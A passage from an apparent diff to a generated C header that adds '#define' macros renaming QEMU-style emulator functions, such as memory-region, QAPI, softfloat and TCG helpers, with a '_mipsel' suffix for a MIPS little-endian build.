memory_region_read_accessor_mipsel +#define memory_region_readd_subregion memory_region_readd_subregion_mipsel +#define memory_region_ref memory_region_ref_mipsel +#define memory_region_resolve_container memory_region_resolve_container_mipsel +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_mipsel +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_mipsel +#define memory_region_set_address memory_region_set_address_mipsel +#define memory_region_set_alias_offset memory_region_set_alias_offset_mipsel +#define memory_region_set_enabled memory_region_set_enabled_mipsel +#define memory_region_set_readonly memory_region_set_readonly_mipsel +#define memory_region_set_skip_dump memory_region_set_skip_dump_mipsel +#define memory_region_size memory_region_size_mipsel +#define memory_region_to_address_space memory_region_to_address_space_mipsel +#define memory_region_transaction_begin memory_region_transaction_begin_mipsel +#define memory_region_transaction_commit memory_region_transaction_commit_mipsel +#define memory_region_unref memory_region_unref_mipsel +#define memory_region_update_container_subregions memory_region_update_container_subregions_mipsel +#define memory_region_write_accessor memory_region_write_accessor_mipsel +#define memory_region_wrong_endianness memory_region_wrong_endianness_mipsel +#define memory_try_enable_merging memory_try_enable_merging_mipsel +#define module_call_init module_call_init_mipsel +#define module_load module_load_mipsel +#define mpidr_cp_reginfo mpidr_cp_reginfo_mipsel +#define mpidr_read mpidr_read_mipsel +#define msr_mask msr_mask_mipsel +#define mul128By64To192 mul128By64To192_mipsel +#define mul128To256 mul128To256_mipsel +#define mul64To128 mul64To128_mipsel +#define muldiv64 muldiv64_mipsel +#define neon_2rm_is_float_op neon_2rm_is_float_op_mipsel +#define neon_2rm_sizes neon_2rm_sizes_mipsel +#define neon_3r_sizes neon_3r_sizes_mipsel +#define neon_get_scalar neon_get_scalar_mipsel +#define neon_load_reg neon_load_reg_mipsel +#define neon_load_reg64 neon_load_reg64_mipsel +#define neon_load_scratch neon_load_scratch_mipsel +#define neon_ls_element_type neon_ls_element_type_mipsel +#define neon_reg_offset neon_reg_offset_mipsel +#define neon_store_reg neon_store_reg_mipsel +#define neon_store_reg64 neon_store_reg64_mipsel +#define neon_store_scratch neon_store_scratch_mipsel +#define new_ldst_label new_ldst_label_mipsel +#define next_list next_list_mipsel +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_mipsel +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_mipsel +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_mipsel +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_mipsel +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_mipsel +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_mipsel +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_mipsel +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_mipsel +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_mipsel +#define not_v6_cp_reginfo not_v6_cp_reginfo_mipsel +#define not_v7_cp_reginfo not_v7_cp_reginfo_mipsel +#define not_v8_cp_reginfo not_v8_cp_reginfo_mipsel +#define object_child_foreach object_child_foreach_mipsel +#define object_class_foreach object_class_foreach_mipsel +#define object_class_foreach_tramp object_class_foreach_tramp_mipsel +#define object_class_get_list object_class_get_list_mipsel +#define object_class_get_list_tramp object_class_get_list_tramp_mipsel +#define object_class_get_parent object_class_get_parent_mipsel +#define object_deinit object_deinit_mipsel +#define object_dynamic_cast object_dynamic_cast_mipsel +#define object_finalize object_finalize_mipsel +#define object_finalize_child_property object_finalize_child_property_mipsel +#define object_get_child_property object_get_child_property_mipsel +#define object_get_link_property object_get_link_property_mipsel +#define object_get_root object_get_root_mipsel +#define object_initialize_with_type object_initialize_with_type_mipsel +#define object_init_with_type object_init_with_type_mipsel +#define object_instance_init object_instance_init_mipsel +#define object_new_with_type object_new_with_type_mipsel +#define object_post_init_with_type object_post_init_with_type_mipsel +#define object_property_add_alias object_property_add_alias_mipsel +#define object_property_add_link object_property_add_link_mipsel +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_mipsel +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_mipsel +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_mipsel +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_mipsel +#define object_property_allow_set_link object_property_allow_set_link_mipsel +#define object_property_del object_property_del_mipsel +#define object_property_del_all object_property_del_all_mipsel +#define object_property_find object_property_find_mipsel +#define object_property_get object_property_get_mipsel +#define object_property_get_bool object_property_get_bool_mipsel +#define object_property_get_int object_property_get_int_mipsel +#define object_property_get_link object_property_get_link_mipsel +#define object_property_get_qobject object_property_get_qobject_mipsel +#define object_property_get_str object_property_get_str_mipsel +#define object_property_get_type object_property_get_type_mipsel +#define object_property_is_child object_property_is_child_mipsel +#define object_property_set object_property_set_mipsel +#define object_property_set_description object_property_set_description_mipsel +#define object_property_set_link object_property_set_link_mipsel +#define object_property_set_qobject object_property_set_qobject_mipsel +#define object_release_link_property object_release_link_property_mipsel +#define object_resolve_abs_path object_resolve_abs_path_mipsel +#define object_resolve_child_property object_resolve_child_property_mipsel +#define object_resolve_link object_resolve_link_mipsel +#define object_resolve_link_property object_resolve_link_property_mipsel +#define object_resolve_partial_path object_resolve_partial_path_mipsel +#define object_resolve_path object_resolve_path_mipsel +#define object_resolve_path_component object_resolve_path_component_mipsel +#define object_resolve_path_type object_resolve_path_type_mipsel +#define object_set_link_property object_set_link_property_mipsel +#define object_unparent object_unparent_mipsel +#define omap_cachemaint_write omap_cachemaint_write_mipsel +#define omap_cp_reginfo omap_cp_reginfo_mipsel +#define omap_threadid_write omap_threadid_write_mipsel +#define omap_ticonfig_write omap_ticonfig_write_mipsel +#define omap_wfi_write omap_wfi_write_mipsel +#define op_bits op_bits_mipsel +#define open_modeflags open_modeflags_mipsel +#define op_to_mov op_to_mov_mipsel +#define op_to_movi op_to_movi_mipsel +#define output_type_enum output_type_enum_mipsel +#define packFloat128 packFloat128_mipsel +#define packFloat16 packFloat16_mipsel +#define packFloat32 packFloat32_mipsel +#define packFloat64 packFloat64_mipsel +#define packFloatx80 packFloatx80_mipsel +#define page_find page_find_mipsel +#define page_find_alloc page_find_alloc_mipsel +#define page_flush_tb page_flush_tb_mipsel +#define page_flush_tb_1 page_flush_tb_1_mipsel +#define page_init page_init_mipsel +#define page_size_init page_size_init_mipsel +#define par par_mipsel +#define parse_array parse_array_mipsel +#define parse_error parse_error_mipsel +#define parse_escape parse_escape_mipsel +#define parse_keyword parse_keyword_mipsel +#define parse_literal parse_literal_mipsel +#define parse_object parse_object_mipsel +#define parse_optional parse_optional_mipsel +#define parse_option_bool parse_option_bool_mipsel +#define parse_option_number parse_option_number_mipsel +#define parse_option_size parse_option_size_mipsel +#define parse_pair parse_pair_mipsel +#define parser_context_free parser_context_free_mipsel +#define parser_context_new parser_context_new_mipsel +#define parser_context_peek_token parser_context_peek_token_mipsel +#define parser_context_pop_token parser_context_pop_token_mipsel +#define parser_context_restore parser_context_restore_mipsel +#define parser_context_save parser_context_save_mipsel +#define parse_str parse_str_mipsel +#define parse_type_bool parse_type_bool_mipsel +#define parse_type_int parse_type_int_mipsel +#define parse_type_number parse_type_number_mipsel +#define parse_type_size parse_type_size_mipsel +#define parse_type_str parse_type_str_mipsel +#define parse_value parse_value_mipsel +#define par_write par_write_mipsel +#define patch_reloc patch_reloc_mipsel +#define phys_map_node_alloc phys_map_node_alloc_mipsel +#define phys_map_node_reserve phys_map_node_reserve_mipsel +#define phys_mem_alloc phys_mem_alloc_mipsel +#define phys_mem_set_alloc phys_mem_set_alloc_mipsel +#define phys_page_compact phys_page_compact_mipsel +#define phys_page_compact_all phys_page_compact_all_mipsel +#define phys_page_find phys_page_find_mipsel +#define phys_page_set phys_page_set_mipsel +#define phys_page_set_level phys_page_set_level_mipsel +#define phys_section_add phys_section_add_mipsel +#define phys_section_destroy phys_section_destroy_mipsel +#define phys_sections_free phys_sections_free_mipsel +#define pickNaN pickNaN_mipsel +#define pickNaNMulAdd pickNaNMulAdd_mipsel +#define pmccfiltr_write pmccfiltr_write_mipsel +#define pmccntr_read pmccntr_read_mipsel +#define pmccntr_sync pmccntr_sync_mipsel +#define pmccntr_write pmccntr_write_mipsel +#define pmccntr_write32 pmccntr_write32_mipsel +#define pmcntenclr_write pmcntenclr_write_mipsel +#define pmcntenset_write pmcntenset_write_mipsel +#define pmcr_write pmcr_write_mipsel +#define pmintenclr_write pmintenclr_write_mipsel +#define pmintenset_write pmintenset_write_mipsel +#define pmovsr_write pmovsr_write_mipsel +#define pmreg_access pmreg_access_mipsel +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_mipsel +#define pmsav5_data_ap_read pmsav5_data_ap_read_mipsel +#define pmsav5_data_ap_write pmsav5_data_ap_write_mipsel +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_mipsel +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_mipsel +#define pmuserenr_write pmuserenr_write_mipsel +#define pmxevtyper_write pmxevtyper_write_mipsel +#define print_type_bool print_type_bool_mipsel +#define print_type_int print_type_int_mipsel +#define print_type_number print_type_number_mipsel +#define print_type_size print_type_size_mipsel +#define print_type_str print_type_str_mipsel +#define propagateFloat128NaN propagateFloat128NaN_mipsel +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_mipsel +#define propagateFloat32NaN propagateFloat32NaN_mipsel +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_mipsel +#define propagateFloat64NaN propagateFloat64NaN_mipsel +#define propagateFloatx80NaN propagateFloatx80NaN_mipsel +#define property_get_alias property_get_alias_mipsel +#define property_get_bool property_get_bool_mipsel +#define property_get_str property_get_str_mipsel +#define property_get_uint16_ptr property_get_uint16_ptr_mipsel +#define property_get_uint32_ptr property_get_uint32_ptr_mipsel +#define property_get_uint64_ptr property_get_uint64_ptr_mipsel +#define property_get_uint8_ptr property_get_uint8_ptr_mipsel +#define property_release_alias property_release_alias_mipsel +#define property_release_bool property_release_bool_mipsel +#define property_release_str property_release_str_mipsel +#define property_resolve_alias property_resolve_alias_mipsel +#define property_set_alias property_set_alias_mipsel +#define property_set_bool property_set_bool_mipsel +#define property_set_str property_set_str_mipsel +#define pstate_read pstate_read_mipsel +#define pstate_write pstate_write_mipsel +#define pxa250_initfn pxa250_initfn_mipsel +#define pxa255_initfn pxa255_initfn_mipsel +#define pxa260_initfn pxa260_initfn_mipsel +#define pxa261_initfn pxa261_initfn_mipsel +#define pxa262_initfn pxa262_initfn_mipsel +#define pxa270a0_initfn pxa270a0_initfn_mipsel +#define pxa270a1_initfn pxa270a1_initfn_mipsel +#define pxa270b0_initfn pxa270b0_initfn_mipsel +#define pxa270b1_initfn pxa270b1_initfn_mipsel +#define pxa270c0_initfn pxa270c0_initfn_mipsel +#define pxa270c5_initfn pxa270c5_initfn_mipsel +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_mipsel +#define qapi_dealloc_end_list qapi_dealloc_end_list_mipsel +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_mipsel +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_mipsel +#define qapi_dealloc_next_list qapi_dealloc_next_list_mipsel +#define qapi_dealloc_pop qapi_dealloc_pop_mipsel +#define qapi_dealloc_push qapi_dealloc_push_mipsel +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_mipsel +#define qapi_dealloc_start_list qapi_dealloc_start_list_mipsel +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_mipsel +#define qapi_dealloc_start_union qapi_dealloc_start_union_mipsel +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_mipsel +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_mipsel +#define qapi_dealloc_type_int qapi_dealloc_type_int_mipsel +#define qapi_dealloc_type_number qapi_dealloc_type_number_mipsel +#define qapi_dealloc_type_size qapi_dealloc_type_size_mipsel +#define qapi_dealloc_type_str qapi_dealloc_type_str_mipsel +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_mipsel +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_mipsel +#define qapi_free_boolList qapi_free_boolList_mipsel +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_mipsel +#define qapi_free_int16List qapi_free_int16List_mipsel +#define qapi_free_int32List qapi_free_int32List_mipsel +#define qapi_free_int64List qapi_free_int64List_mipsel +#define qapi_free_int8List qapi_free_int8List_mipsel +#define qapi_free_intList qapi_free_intList_mipsel +#define qapi_free_numberList qapi_free_numberList_mipsel +#define qapi_free_strList qapi_free_strList_mipsel +#define qapi_free_uint16List qapi_free_uint16List_mipsel +#define qapi_free_uint32List qapi_free_uint32List_mipsel +#define qapi_free_uint64List qapi_free_uint64List_mipsel +#define qapi_free_uint8List qapi_free_uint8List_mipsel +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_mipsel +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_mipsel +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_mipsel +#define qbool_destroy_obj qbool_destroy_obj_mipsel +#define qbool_from_int qbool_from_int_mipsel +#define qbool_get_int qbool_get_int_mipsel +#define qbool_type qbool_type_mipsel +#define qbus_create qbus_create_mipsel +#define qbus_create_inplace qbus_create_inplace_mipsel +#define qbus_finalize qbus_finalize_mipsel +#define qbus_initfn qbus_initfn_mipsel +#define qbus_realize qbus_realize_mipsel +#define qdev_create qdev_create_mipsel +#define qdev_get_type qdev_get_type_mipsel +#define qdev_register_types qdev_register_types_mipsel +#define qdev_set_parent_bus qdev_set_parent_bus_mipsel +#define qdev_try_create qdev_try_create_mipsel +#define qdict_add_key qdict_add_key_mipsel +#define qdict_array_split qdict_array_split_mipsel +#define qdict_clone_shallow qdict_clone_shallow_mipsel +#define qdict_del qdict_del_mipsel +#define qdict_destroy_obj qdict_destroy_obj_mipsel +#define qdict_entry_key qdict_entry_key_mipsel +#define qdict_entry_value qdict_entry_value_mipsel +#define qdict_extract_subqdict qdict_extract_subqdict_mipsel +#define qdict_find qdict_find_mipsel +#define qdict_first qdict_first_mipsel +#define qdict_flatten qdict_flatten_mipsel +#define qdict_flatten_qdict qdict_flatten_qdict_mipsel +#define qdict_flatten_qlist qdict_flatten_qlist_mipsel +#define qdict_get qdict_get_mipsel +#define qdict_get_bool qdict_get_bool_mipsel +#define qdict_get_double qdict_get_double_mipsel +#define qdict_get_int qdict_get_int_mipsel +#define qdict_get_obj qdict_get_obj_mipsel +#define qdict_get_qdict qdict_get_qdict_mipsel +#define qdict_get_qlist qdict_get_qlist_mipsel +#define qdict_get_str qdict_get_str_mipsel +#define qdict_get_try_bool qdict_get_try_bool_mipsel +#define qdict_get_try_int qdict_get_try_int_mipsel +#define qdict_get_try_str qdict_get_try_str_mipsel +#define qdict_haskey qdict_haskey_mipsel +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_mipsel +#define qdict_iter qdict_iter_mipsel +#define qdict_join qdict_join_mipsel +#define qdict_new qdict_new_mipsel +#define qdict_next qdict_next_mipsel +#define qdict_next_entry qdict_next_entry_mipsel +#define qdict_put_obj qdict_put_obj_mipsel +#define qdict_size qdict_size_mipsel +#define qdict_type qdict_type_mipsel +#define qemu_clock_get_us qemu_clock_get_us_mipsel +#define qemu_clock_ptr qemu_clock_ptr_mipsel +#define qemu_clocks qemu_clocks_mipsel +#define qemu_get_cpu qemu_get_cpu_mipsel +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_mipsel +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_mipsel +#define qemu_get_ram_block qemu_get_ram_block_mipsel +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_mipsel +#define qemu_get_ram_fd qemu_get_ram_fd_mipsel +#define qemu_get_ram_ptr qemu_get_ram_ptr_mipsel +#define qemu_host_page_mask qemu_host_page_mask_mipsel +#define qemu_host_page_size qemu_host_page_size_mipsel +#define qemu_init_vcpu qemu_init_vcpu_mipsel +#define qemu_ld_helpers qemu_ld_helpers_mipsel +#define qemu_log_close qemu_log_close_mipsel +#define qemu_log_enabled qemu_log_enabled_mipsel +#define qemu_log_flush qemu_log_flush_mipsel +#define qemu_loglevel_mask qemu_loglevel_mask_mipsel +#define qemu_log_vprintf qemu_log_vprintf_mipsel +#define qemu_oom_check qemu_oom_check_mipsel +#define qemu_parse_fd qemu_parse_fd_mipsel +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_mipsel +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_mipsel +#define qemu_ram_alloc qemu_ram_alloc_mipsel +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_mipsel +#define qemu_ram_foreach_block qemu_ram_foreach_block_mipsel +#define qemu_ram_free qemu_ram_free_mipsel +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_mipsel +#define qemu_ram_ptr_length qemu_ram_ptr_length_mipsel +#define qemu_ram_remap qemu_ram_remap_mipsel +#define qemu_ram_setup_dump qemu_ram_setup_dump_mipsel +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_mipsel +#define qemu_real_host_page_size qemu_real_host_page_size_mipsel +#define qemu_st_helpers qemu_st_helpers_mipsel +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_mipsel +#define qemu_try_memalign qemu_try_memalign_mipsel +#define qentry_destroy qentry_destroy_mipsel +#define qerror_human qerror_human_mipsel +#define qerror_report qerror_report_mipsel +#define qerror_report_err qerror_report_err_mipsel +#define qfloat_destroy_obj qfloat_destroy_obj_mipsel +#define qfloat_from_double qfloat_from_double_mipsel +#define qfloat_get_double qfloat_get_double_mipsel +#define qfloat_type qfloat_type_mipsel +#define qint_destroy_obj qint_destroy_obj_mipsel +#define qint_from_int qint_from_int_mipsel +#define qint_get_int qint_get_int_mipsel +#define qint_type qint_type_mipsel +#define qlist_append_obj qlist_append_obj_mipsel +#define qlist_copy qlist_copy_mipsel +#define qlist_copy_elem qlist_copy_elem_mipsel +#define qlist_destroy_obj qlist_destroy_obj_mipsel +#define qlist_empty qlist_empty_mipsel +#define qlist_entry_obj qlist_entry_obj_mipsel +#define qlist_first qlist_first_mipsel +#define qlist_iter qlist_iter_mipsel +#define qlist_new qlist_new_mipsel +#define qlist_next qlist_next_mipsel +#define qlist_peek qlist_peek_mipsel +#define qlist_pop qlist_pop_mipsel +#define qlist_size qlist_size_mipsel +#define qlist_size_iter qlist_size_iter_mipsel +#define qlist_type qlist_type_mipsel +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_mipsel +#define qmp_input_end_list qmp_input_end_list_mipsel +#define qmp_input_end_struct qmp_input_end_struct_mipsel +#define qmp_input_get_next_type qmp_input_get_next_type_mipsel +#define qmp_input_get_object qmp_input_get_object_mipsel +#define qmp_input_get_visitor qmp_input_get_visitor_mipsel +#define qmp_input_next_list qmp_input_next_list_mipsel +#define qmp_input_optional qmp_input_optional_mipsel +#define qmp_input_pop qmp_input_pop_mipsel +#define qmp_input_push qmp_input_push_mipsel +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_mipsel +#define qmp_input_start_list qmp_input_start_list_mipsel +#define qmp_input_start_struct qmp_input_start_struct_mipsel +#define qmp_input_type_bool qmp_input_type_bool_mipsel +#define qmp_input_type_int qmp_input_type_int_mipsel +#define qmp_input_type_number qmp_input_type_number_mipsel +#define qmp_input_type_str qmp_input_type_str_mipsel +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_mipsel +#define qmp_input_visitor_new qmp_input_visitor_new_mipsel +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_mipsel +#define qmp_output_add_obj qmp_output_add_obj_mipsel +#define qmp_output_end_list qmp_output_end_list_mipsel +#define qmp_output_end_struct qmp_output_end_struct_mipsel +#define qmp_output_first qmp_output_first_mipsel +#define qmp_output_get_qobject qmp_output_get_qobject_mipsel +#define qmp_output_get_visitor qmp_output_get_visitor_mipsel +#define qmp_output_last qmp_output_last_mipsel +#define qmp_output_next_list qmp_output_next_list_mipsel +#define qmp_output_pop qmp_output_pop_mipsel +#define qmp_output_push_obj qmp_output_push_obj_mipsel +#define qmp_output_start_list qmp_output_start_list_mipsel +#define qmp_output_start_struct qmp_output_start_struct_mipsel +#define qmp_output_type_bool qmp_output_type_bool_mipsel +#define qmp_output_type_int qmp_output_type_int_mipsel +#define qmp_output_type_number qmp_output_type_number_mipsel +#define qmp_output_type_str qmp_output_type_str_mipsel +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_mipsel +#define qmp_output_visitor_new qmp_output_visitor_new_mipsel +#define qobject_decref qobject_decref_mipsel +#define qobject_to_qbool qobject_to_qbool_mipsel +#define qobject_to_qdict qobject_to_qdict_mipsel +#define qobject_to_qfloat qobject_to_qfloat_mipsel +#define qobject_to_qint qobject_to_qint_mipsel +#define qobject_to_qlist qobject_to_qlist_mipsel +#define qobject_to_qstring qobject_to_qstring_mipsel +#define qobject_type qobject_type_mipsel +#define qstring_append qstring_append_mipsel +#define qstring_append_chr qstring_append_chr_mipsel +#define qstring_append_int qstring_append_int_mipsel +#define qstring_destroy_obj qstring_destroy_obj_mipsel +#define qstring_from_escaped_str qstring_from_escaped_str_mipsel +#define qstring_from_str qstring_from_str_mipsel +#define qstring_from_substr qstring_from_substr_mipsel +#define qstring_get_length qstring_get_length_mipsel +#define qstring_get_str qstring_get_str_mipsel +#define qstring_new qstring_new_mipsel +#define qstring_type qstring_type_mipsel +#define ram_block_add ram_block_add_mipsel +#define ram_size ram_size_mipsel +#define range_compare range_compare_mipsel +#define range_covers_byte range_covers_byte_mipsel +#define range_get_last range_get_last_mipsel +#define range_merge range_merge_mipsel +#define ranges_can_merge ranges_can_merge_mipsel +#define raw_read raw_read_mipsel +#define raw_write raw_write_mipsel +#define rcon rcon_mipsel +#define read_raw_cp_reg read_raw_cp_reg_mipsel +#define recip_estimate recip_estimate_mipsel +#define recip_sqrt_estimate recip_sqrt_estimate_mipsel +#define register_cp_regs_for_features register_cp_regs_for_features_mipsel +#define register_multipage register_multipage_mipsel +#define register_subpage register_subpage_mipsel +#define register_tm_clones register_tm_clones_mipsel +#define register_types_object register_types_object_mipsel +#define regnames regnames_mipsel +#define render_memory_region render_memory_region_mipsel +#define reset_all_temps reset_all_temps_mipsel +#define reset_temp reset_temp_mipsel +#define rol32 rol32_mipsel +#define rol64 rol64_mipsel +#define ror32 ror32_mipsel +#define ror64 ror64_mipsel +#define roundAndPackFloat128 roundAndPackFloat128_mipsel +#define roundAndPackFloat16 roundAndPackFloat16_mipsel +#define roundAndPackFloat32 roundAndPackFloat32_mipsel +#define roundAndPackFloat64 roundAndPackFloat64_mipsel +#define roundAndPackFloatx80 roundAndPackFloatx80_mipsel +#define roundAndPackInt32 roundAndPackInt32_mipsel +#define roundAndPackInt64 roundAndPackInt64_mipsel +#define roundAndPackUint64 roundAndPackUint64_mipsel +#define round_to_inf round_to_inf_mipsel +#define run_on_cpu run_on_cpu_mipsel +#define s0 s0_mipsel +#define S0 S0_mipsel +#define s1 s1_mipsel +#define S1 S1_mipsel +#define sa1100_initfn sa1100_initfn_mipsel +#define sa1110_initfn sa1110_initfn_mipsel +#define save_globals save_globals_mipsel +#define scr_write scr_write_mipsel +#define sctlr_write sctlr_write_mipsel +#define set_bit set_bit_mipsel +#define set_bits set_bits_mipsel +#define set_default_nan_mode set_default_nan_mode_mipsel +#define set_feature set_feature_mipsel +#define set_float_detect_tininess set_float_detect_tininess_mipsel +#define set_float_exception_flags set_float_exception_flags_mipsel +#define set_float_rounding_mode set_float_rounding_mode_mipsel +#define set_flush_inputs_to_zero set_flush_inputs_to_zero_mipsel +#define set_flush_to_zero set_flush_to_zero_mipsel +#define set_swi_errno set_swi_errno_mipsel +#define sextract32 sextract32_mipsel +#define sextract64 sextract64_mipsel +#define shift128ExtraRightJamming shift128ExtraRightJamming_mipsel +#define shift128Right shift128Right_mipsel +#define shift128RightJamming shift128RightJamming_mipsel +#define shift32RightJamming shift32RightJamming_mipsel +#define shift64ExtraRightJamming shift64ExtraRightJamming_mipsel +#define shift64RightJamming shift64RightJamming_mipsel +#define shifter_out_im shifter_out_im_mipsel +#define shortShift128Left shortShift128Left_mipsel +#define shortShift192Left shortShift192Left_mipsel +#define simple_mpu_ap_bits simple_mpu_ap_bits_mipsel +#define size_code_gen_buffer size_code_gen_buffer_mipsel +#define softmmu_lock_user softmmu_lock_user_mipsel +#define softmmu_lock_user_string softmmu_lock_user_string_mipsel +#define softmmu_tget32 softmmu_tget32_mipsel +#define softmmu_tget8 softmmu_tget8_mipsel +#define softmmu_tput32 softmmu_tput32_mipsel +#define softmmu_unlock_user softmmu_unlock_user_mipsel +#define sort_constraints sort_constraints_mipsel +#define sp_el0_access sp_el0_access_mipsel +#define spsel_read spsel_read_mipsel +#define spsel_write spsel_write_mipsel +#define start_list start_list_mipsel +#define stb_p stb_p_mipsel +#define stb_phys stb_phys_mipsel +#define stl_be_p stl_be_p_mipsel +#define stl_be_phys stl_be_phys_mipsel +#define stl_he_p stl_he_p_mipsel +#define stl_le_p stl_le_p_mipsel +#define stl_le_phys stl_le_phys_mipsel +#define stl_phys stl_phys_mipsel +#define stl_phys_internal stl_phys_internal_mipsel +#define stl_phys_notdirty stl_phys_notdirty_mipsel +#define store_cpu_offset store_cpu_offset_mipsel +#define store_reg store_reg_mipsel +#define store_reg_bx store_reg_bx_mipsel +#define store_reg_from_load store_reg_from_load_mipsel +#define stq_be_p stq_be_p_mipsel +#define stq_be_phys stq_be_phys_mipsel +#define stq_he_p stq_he_p_mipsel +#define stq_le_p stq_le_p_mipsel +#define stq_le_phys stq_le_phys_mipsel +#define stq_phys stq_phys_mipsel +#define string_input_get_visitor string_input_get_visitor_mipsel +#define string_input_visitor_cleanup string_input_visitor_cleanup_mipsel +#define string_input_visitor_new string_input_visitor_new_mipsel +#define strongarm_cp_reginfo strongarm_cp_reginfo_mipsel +#define strstart strstart_mipsel +#define strtosz strtosz_mipsel +#define strtosz_suffix strtosz_suffix_mipsel +#define stw_be_p stw_be_p_mipsel +#define stw_be_phys stw_be_phys_mipsel +#define stw_he_p stw_he_p_mipsel +#define stw_le_p stw_le_p_mipsel +#define stw_le_phys stw_le_phys_mipsel +#define stw_phys stw_phys_mipsel +#define stw_phys_internal stw_phys_internal_mipsel +#define sub128 sub128_mipsel +#define sub16_sat sub16_sat_mipsel +#define sub16_usat sub16_usat_mipsel +#define sub192 sub192_mipsel +#define sub8_sat sub8_sat_mipsel +#define sub8_usat sub8_usat_mipsel +#define subFloat128Sigs subFloat128Sigs_mipsel +#define subFloat32Sigs subFloat32Sigs_mipsel +#define subFloat64Sigs subFloat64Sigs_mipsel +#define subFloatx80Sigs subFloatx80Sigs_mipsel +#define subpage_accepts subpage_accepts_mipsel +#define subpage_init subpage_init_mipsel +#define subpage_ops subpage_ops_mipsel +#define subpage_read subpage_read_mipsel +#define subpage_register subpage_register_mipsel +#define subpage_write subpage_write_mipsel +#define suffix_mul suffix_mul_mipsel +#define swap_commutative swap_commutative_mipsel +#define swap_commutative2 swap_commutative2_mipsel +#define switch_mode switch_mode_mipsel +#define switch_v7m_sp switch_v7m_sp_mipsel +#define syn_aa32_bkpt syn_aa32_bkpt_mipsel +#define syn_aa32_hvc syn_aa32_hvc_mipsel +#define syn_aa32_smc syn_aa32_smc_mipsel +#define syn_aa32_svc syn_aa32_svc_mipsel +#define syn_breakpoint syn_breakpoint_mipsel +#define sync_globals sync_globals_mipsel +#define syn_cp14_rrt_trap syn_cp14_rrt_trap_mipsel +#define syn_cp14_rt_trap syn_cp14_rt_trap_mipsel +#define syn_cp15_rrt_trap syn_cp15_rrt_trap_mipsel +#define syn_cp15_rt_trap syn_cp15_rt_trap_mipsel +#define syn_data_abort syn_data_abort_mipsel +#define syn_fp_access_trap syn_fp_access_trap_mipsel +#define syn_insn_abort syn_insn_abort_mipsel +#define syn_swstep syn_swstep_mipsel +#define syn_uncategorized syn_uncategorized_mipsel +#define syn_watchpoint syn_watchpoint_mipsel +#define syscall_err syscall_err_mipsel +#define system_bus_class_init system_bus_class_init_mipsel +#define system_bus_info system_bus_info_mipsel +#define t2ee_cp_reginfo t2ee_cp_reginfo_mipsel +#define table_logic_cc table_logic_cc_mipsel +#define target_parse_constraint target_parse_constraint_mipsel +#define target_words_bigendian target_words_bigendian_mipsel +#define tb_add_jump tb_add_jump_mipsel +#define tb_alloc tb_alloc_mipsel +#define tb_alloc_page tb_alloc_page_mipsel +#define tb_check_watchpoint tb_check_watchpoint_mipsel +#define tb_find_fast tb_find_fast_mipsel +#define tb_find_pc tb_find_pc_mipsel +#define tb_find_slow tb_find_slow_mipsel +#define tb_flush tb_flush_mipsel +#define tb_flush_jmp_cache tb_flush_jmp_cache_mipsel +#define tb_free tb_free_mipsel +#define tb_gen_code tb_gen_code_mipsel +#define tb_hash_remove tb_hash_remove_mipsel +#define tb_invalidate_phys_addr tb_invalidate_phys_addr_mipsel +#define tb_invalidate_phys_page_range tb_invalidate_phys_page_range_mipsel +#define tb_invalidate_phys_range tb_invalidate_phys_range_mipsel +#define tb_jmp_cache_hash_func tb_jmp_cache_hash_func_mipsel +#define tb_jmp_cache_hash_page tb_jmp_cache_hash_page_mipsel +#define tb_jmp_remove tb_jmp_remove_mipsel +#define tb_link_page tb_link_page_mipsel +#define tb_page_remove tb_page_remove_mipsel +#define tb_phys_hash_func tb_phys_hash_func_mipsel +#define tb_phys_invalidate tb_phys_invalidate_mipsel +#define tb_reset_jump tb_reset_jump_mipsel +#define tb_set_jmp_target tb_set_jmp_target_mipsel +#define tcg_accel_class_init tcg_accel_class_init_mipsel +#define tcg_accel_type tcg_accel_type_mipsel +#define tcg_add_param_i32 